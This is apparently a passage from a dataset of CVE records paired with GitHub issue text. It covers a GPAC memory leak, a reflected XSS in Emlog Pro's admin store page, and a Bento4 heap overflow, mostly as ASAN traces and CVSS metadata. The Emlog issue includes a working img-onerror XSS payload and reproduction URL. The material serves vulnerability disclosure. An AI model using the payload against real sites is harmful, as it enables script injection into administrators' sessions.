#12 0x7fab5143d5c4 in gf_xml_sax_parse_file utils/xml_parser.c:1299
#13 0x7fab51cf010a in load_xmt_run scene_manager/loader_xmt.c:3134
#14 0x564329084177 in dump_isom_scene /gpac/applications/mp4box/filedump.c:207
#15 0x56432906e4b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#16 0x7fab4f439c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 16 byte(s) in 1 object(s) allocated from:
#0 0x7fab5407ab40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fab513f9e5d in gf_list_new utils/list.c:601
#2 0x7fab51a631ff in gf_odf_new_iod odf/odf_code.c:421
#3 0x7fab51a6c843 in gf_odf_desc_new odf/odf_codec.c:244
#4 0x7fab51d0244f in xmt_parse_descriptor scene_manager/loader_xmt.c:1942
#5 0x7fab51d0553d in xmt_node_start scene_manager/loader_xmt.c:2571
#6 0x7fab51436f35 in xml_sax_node_start utils/xml_parser.c:304
#7 0x7fab5143a20f in xml_sax_parse_attribute utils/xml_parser.c:393
#8 0x7fab5143a20f in xml_sax_parse utils/xml_parser.c:911
#9 0x7fab5143bdfd in gf_xml_sax_parse_intern utils/xml_parser.c:1072
#10 0x7fab5143c6b7 in gf_xml_sax_parse utils/xml_parser.c:1100
#11 0x7fab5143c9c8 in xml_sax_read_file utils/xml_parser.c:1187
#12 0x7fab5143d5c4 in gf_xml_sax_parse_file utils/xml_parser.c:1299
#13 0x7fab51cf010a in load_xmt_run scene_manager/loader_xmt.c:3134
#14 0x564329084177 in dump_isom_scene /gpac/applications/mp4box/filedump.c:207
#15 0x56432906e4b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#16 0x7fab4f439c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 16 byte(s) in 1 object(s) allocated from:
#0 0x7fab5407ab40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fab513f9e5d in gf_list_new utils/list.c:601
#2 0x7fab51a614f4 in gf_odf_new_esd odf/odf_code.c:129
#3 0x7fab51a6c843 in gf_odf_desc_new odf/odf_codec.c:244
#4 0x7fab51d0244f in xmt_parse_descriptor scene_manager/loader_xmt.c:1942
#5 0x7fab51d0553d in xmt_node_start scene_manager/loader_xmt.c:2571
#6 0x7fab51436f35 in xml_sax_node_start utils/xml_parser.c:304
#7 0x7fab5143a20f in xml_sax_parse_attribute utils/xml_parser.c:393
#8 0x7fab5143a20f in xml_sax_parse utils/xml_parser.c:911
#9 0x7fab5143bdfd in gf_xml_sax_parse_intern utils/xml_parser.c:1072
#10 0x7fab5143c6b7 in gf_xml_sax_parse utils/xml_parser.c:1100
#11 0x7fab5143c9c8 in xml_sax_read_file utils/xml_parser.c:1187
#12 0x7fab5143d5c4 in gf_xml_sax_parse_file utils/xml_parser.c:1299
#13 0x7fab51cf010a in load_xmt_run scene_manager/loader_xmt.c:3134
#14 0x564329084177 in dump_isom_scene /gpac/applications/mp4box/filedump.c:207
#15 0x56432906e4b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#16 0x7fab4f439c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 16 byte(s) in 1 object(s) allocated from:
#0 0x7fab5407ab40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fab513f9e5d in gf_list_new utils/list.c:601
#2 0x7fab51a68740 in gf_odf_new_dcd odf/odf_code.c:1110
#3 0x7fab51a6c843 in gf_odf_desc_new odf/odf_codec.c:244
#4 0x7fab51d0244f in xmt_parse_descriptor scene_manager/loader_xmt.c:1942
#5 0x7fab51d0553d in xmt_node_start scene_manager/loader_xmt.c:2571
#6 0x7fab51436f35 in xml_sax_node_start utils/xml_parser.c:304
#7 0x7fab5143a20f in xml_sax_parse_attribute utils/xml_parser.c:393
#8 0x7fab5143a20f in xml_sax_parse utils/xml_parser.c:911
#9 0x7fab5143bdfd in gf_xml_sax_parse_intern utils/xml_parser.c:1072
#10 0x7fab5143c6b7 in gf_xml_sax_parse utils/xml_parser.c:1100
#11 0x7fab5143c9c8 in xml_sax_read_file utils/xml_parser.c:1187
#12 0x7fab5143d5c4 in gf_xml_sax_parse_file utils/xml_parser.c:1299
#13 0x7fab51cf010a in load_xmt_run scene_manager/loader_xmt.c:3134
#14 0x564329084177 in dump_isom_scene /gpac/applications/mp4box/filedump.c:207
#15 0x56432906e4b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#16 0x7fab4f439c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 16 byte(s) in 1 object(s) allocated from:
#0 0x7fab5407ab40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fab513f9e5d in gf_list_new utils/list.c:601
#2 0x7fab51a6321e in gf_odf_new_iod odf/odf_code.c:423
#3 0x7fab51a6c843 in gf_odf_desc_new odf/odf_codec.c:244
#4 0x7fab51d0244f in xmt_parse_descriptor scene_manager/loader_xmt.c:1942
#5 0x7fab51d0553d in xmt_node_start scene_manager/loader_xmt.c:2571
#6 0x7fab51436f35 in xml_sax_node_start utils/xml_parser.c:304
#7 0x7fab5143a20f in xml_sax_parse_attribute utils/xml_parser.c:393
#8 0x7fab5143a20f in xml_sax_parse utils/xml_parser.c:911
#9 0x7fab5143bdfd in gf_xml_sax_parse_intern utils/xml_parser.c:1072
#10 0x7fab5143c6b7 in gf_xml_sax_parse utils/xml_parser.c:1100
#11 0x7fab5143c9c8 in xml_sax_read_file utils/xml_parser.c:1187
#12 0x7fab5143d5c4 in gf_xml_sax_parse_file utils/xml_parser.c:1299
#13 0x7fab51cf010a in load_xmt_run scene_manager/loader_xmt.c:3134
#14 0x564329084177 in dump_isom_scene /gpac/applications/mp4box/filedump.c:207
#15 0x56432906e4b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#16 0x7fab4f439c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 16 byte(s) in 1 object(s) allocated from:
#0 0x7fab5407ab40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fab513f9e5d in gf_list_new utils/list.c:601
#2 0x7fab51a631e0 in gf_odf_new_iod odf/odf_code.c:420
#3 0x7fab51a6c843 in gf_odf_desc_new odf/odf_codec.c:244
#4 0x7fab51d0244f in xmt_parse_descriptor scene_manager/loader_xmt.c:1942
#5 0x7fab51d0553d in xmt_node_start scene_manager/loader_xmt.c:2571
#6 0x7fab51436f35 in xml_sax_node_start utils/xml_parser.c:304
#7 0x7fab5143a20f in xml_sax_parse_attribute utils/xml_parser.c:393
#8 0x7fab5143a20f in xml_sax_parse utils/xml_parser.c:911
#9 0x7fab5143bdfd in gf_xml_sax_parse_intern utils/xml_parser.c:1072
#10 0x7fab5143c6b7 in gf_xml_sax_parse utils/xml_parser.c:1100
#11 0x7fab5143c9c8 in xml_sax_read_file utils/xml_parser.c:1187
#12 0x7fab5143d5c4 in gf_xml_sax_parse_file utils/xml_parser.c:1299
#13 0x7fab51cf010a in load_xmt_run scene_manager/loader_xmt.c:3134
#14 0x564329084177 in dump_isom_scene /gpac/applications/mp4box/filedump.c:207
#15 0x56432906e4b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#16 0x7fab4f439c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 16 byte(s) in 1 object(s) allocated from:
#0 0x7fab5407ab40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fab513f9e5d in gf_list_new utils/list.c:601
#2 0x7fab51a631b4 in gf_odf_new_iod odf/odf_code.c:419
#3 0x7fab51a6c843 in gf_odf_desc_new odf/odf_codec.c:244
#4 0x7fab51d0244f in xmt_parse_descriptor scene_manager/loader_xmt.c:1942
#5 0x7fab51d0553d in xmt_node_start scene_manager/loader_xmt.c:2571
#6 0x7fab51436f35 in xml_sax_node_start utils/xml_parser.c:304
#7 0x7fab5143a20f in xml_sax_parse_attribute utils/xml_parser.c:393
#8 0x7fab5143a20f in xml_sax_parse utils/xml_parser.c:911
#9 0x7fab5143bdfd in gf_xml_sax_parse_intern utils/xml_parser.c:1072
#10 0x7fab5143c6b7 in gf_xml_sax_parse utils/xml_parser.c:1100
#11 0x7fab5143c9c8 in xml_sax_read_file utils/xml_parser.c:1187
#12 0x7fab5143d5c4 in gf_xml_sax_parse_file utils/xml_parser.c:1299
#13 0x7fab51cf010a in load_xmt_run scene_manager/loader_xmt.c:3134
#14 0x564329084177 in dump_isom_scene /gpac/applications/mp4box/filedump.c:207
#15 0x56432906e4b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#16 0x7fab4f439c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 464 byte(s) leaked in 12 allocation(s).
```
### Environment
Ubuntu 18.04.5 LTS
Clang 10.0.1
gcc 7.5.0
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn/))
|
Memory Leak in gf_odf_new_iod odf/odf_code.c:415
|
https://api.github.com/repos/gpac/gpac/issues/2285/comments
| 0 |
2022-10-11T07:56:13Z
|
2022-10-11T11:02:17Z
|
https://github.com/gpac/gpac/issues/2285
| 1,404,173,443 | 2,285 |
CVE-2022-43372
|
2022-11-03T18:15:17.987
|
Emlog Pro v1.7.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability at /admin/store.php.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/emlog/emlog/issues/195"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:emlog:emlog:1.7.1:*:*:*:pro:*:*:*",
"matchCriteriaId": "BFC4BB7B-FCA0-4826-AD2E-790A7DBBDD17",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/emlog/emlog/issues/195
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"emlog",
"emlog"
] |
### **Which version of emlog do you using?**
emlog_pro_1.7.1
### **Expected behavior**
Search store templates
### **Actual behavior**
Reflected XSS vulnerabilities
### **Steps to reproduce the behavior**
> Url：https://github.com/emlog/emlog/blob/master/admin/store.php
>
> poc："%2F><img+src%3Dx+onerror%3Dalert%2820221017%29>
1、login in the system as administrators
2、Click into the store-templet
3、 Insert the poc and then click on the search button
> http://127.0.0.1/emlog/admin/store.php?keyword=1234%22%2F%3E%3Cimg+src%3Dx+onerror%3Dalert%2820221017%29%3E
|
Reflected-XSS vulnerabilities via '/admin/store.php' #1
|
https://api.github.com/repos/emlog/emlog/issues/195/comments
| 1 |
2022-10-16T17:27:37Z
|
2022-10-19T15:57:30Z
|
https://github.com/emlog/emlog/issues/195
| 1,410,558,751 | 195 |
CVE-2022-3974
|
2022-11-13T10:15:10.333
|
A vulnerability classified as critical was found in Axiomatic Bento4. Affected by this vulnerability is the function AP4_StdcFileByteStream::ReadPartial of the file Ap4StdCFileByteStream.cpp of the component mp4info. The manipulation leads to heap-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-213553 was assigned to this vulnerability.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/files/9987970/mp4info_overflow_ReadPartial341.zip"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/812"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.213553"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:2022-10-08:*:*:*:*:*:*:*",
"matchCriteriaId": "E6D96205-9447-4E3E-B05C-A45E8353CF6C",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/812
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, there.
There is an heap overflow in ReadPartial, Ap4StdCFileByteStream.cpp:341, in the newest master branch 5e7bb34a08272c49242196eba1cefab8af55f381, which seems to be incomplete fix of issue #510.
Here is the reproducing command:
~~~~
mp42info poc
~~~~
POC:
[mp4info_overflow_ReadPartial341.zip](https://github.com/axiomatic-systems/Bento4/files/9987970/mp4info_overflow_ReadPartial341.zip)
(unzip first)
The reason of this overflow can causes arbitrary code execution by memory manipulation since user can control the content parsed by the program.
<img width="1070" alt="image" src="https://user-images.githubusercontent.com/7632714/201291288-61ee3c92-1dca-4934-9382-6030a46d4340.png">
Here is the reproduce trace reported by ASAN:
~~~~
==1448318==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000171 at pc 0x000000471d71 bp 0x7ffd4dd08e80 sp 0x7ffd4dd08630
WRITE of size 30 at 0x602000000171 thread T0
#0 0x471d70 in __interceptor_fread.part.0 /dependence/llvm11/llvm-11.0.0.src/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1027:16
#1 0x66f795 in AP4_StdcFileByteStream::ReadPartial(void*, unsigned int, unsigned int&) /benchmark/Bento4/Source/C++/System/StdC/Ap4StdCFileByteStream.cpp:341:14
#2 0x549ce9 in AP4_ByteStream::Read(void*, unsigned int) /benchmark/Bento4/Source/C++/Core/Ap4ByteStream.cpp:54:29
#3 0x6601bb in AP4_MetaDataStringAtom::AP4_MetaDataStringAtom(unsigned int, unsigned int, AP4_ByteStream&) /benchmark/Bento4/Source/C++/MetaData/Ap4MetaData.cpp:1637:12
#4 0x6601bb in AP4_MetaDataAtomTypeHandler::CreateAtom(unsigned int, unsigned int, AP4_ByteStream&, unsigned int, AP4_Atom*&) /benchmark/Bento4/Source/C++/MetaData/Ap4MetaData.cpp:428:24
#5 0x53d50b in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:844:21
#6 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#7 0x553677 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#8 0x5529a3 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#9 0x5529a3 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#10 0x660634 in AP4_MetaDataAtomTypeHandler::CreateAtom(unsigned int, unsigned int, AP4_ByteStream&, unsigned int, AP4_Atom*&) /benchmark/Bento4/Source/C++/MetaData/Ap4MetaData.cpp:419:20
#11 0x53d50b in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:844:21
#12 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#13 0x553677 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#14 0x5529a3 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#15 0x5529a3 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#16 0x53def3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#17 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#18 0x55389e in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#19 0x552c6e in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:154:5
#20 0x552c6e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:86:20
#21 0x53dd0d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:830:20
#22 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#23 0x553677 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#24 0x5529a3 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#25 0x5529a3 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#26 0x53def3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#27 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#28 0x5746a6 in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#29 0x573f60 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#30 0x53ed78 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:580:20
#31 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#32 0x553677 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#33 0x5529a3 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#34 0x5529a3 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#35 0x53def3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#36 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#37 0x53b237 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154:12
#38 0x579c4b in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /benchmark/Bento4/Source/C++/Core/Ap4File.cpp:104:12
#39 0x57a2ff in AP4_File::AP4_File(AP4_ByteStream&, bool) /benchmark/Bento4/Source/C++/Core/Ap4File.cpp:78:5
#40 0x4fb236 in main /benchmark/Bento4/Source/C++/Apps/Mp4Info/Mp4Info.cpp:1852:26
#41 0x7f2c774ff082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#42 0x41d89d in _start (/benchmark/Bento4/build-a/mp4info+0x41d89d)
0x602000000171 is located 0 bytes to the right of 1-byte region [0x602000000170,0x602000000171)
allocated by thread T0 here:
#0 0x4f7fc7 in operator new[](unsigned long) /dependence/llvm11/llvm-11.0.0.src/projects/compiler-rt/lib/asan/asan_new_delete.cpp:102:3
#1 0x60b04d in AP4_String::AP4_String(unsigned int) /benchmark/Bento4/Source/C++/Core/Ap4String.cpp:85:15
#2 0x53d50b in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:844:21
#3 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#4 0x553677 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#5 0x5529a3 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#6 0x5529a3 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#7 0x660634 in AP4_MetaDataAtomTypeHandler::CreateAtom(unsigned int, unsigned int, AP4_ByteStream&, unsigned int, AP4_Atom*&) /benchmark/Bento4/Source/C++/MetaData/Ap4MetaData.cpp:419:20
#8 0x53d50b in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:844:21
#9 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#10 0x553677 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#11 0x5529a3 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#12 0x5529a3 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#13 0x53def3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#14 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#15 0x55389e in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#16 0x552c6e in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:154:5
#17 0x552c6e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:86:20
#18 0x53dd0d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:830:20
#19 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#20 0x553677 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#21 0x5529a3 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#22 0x5529a3 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#23 0x53def3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#24 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#25 0x5746a6 in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#26 0x573f60 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4DrefAtom.cpp:50:16
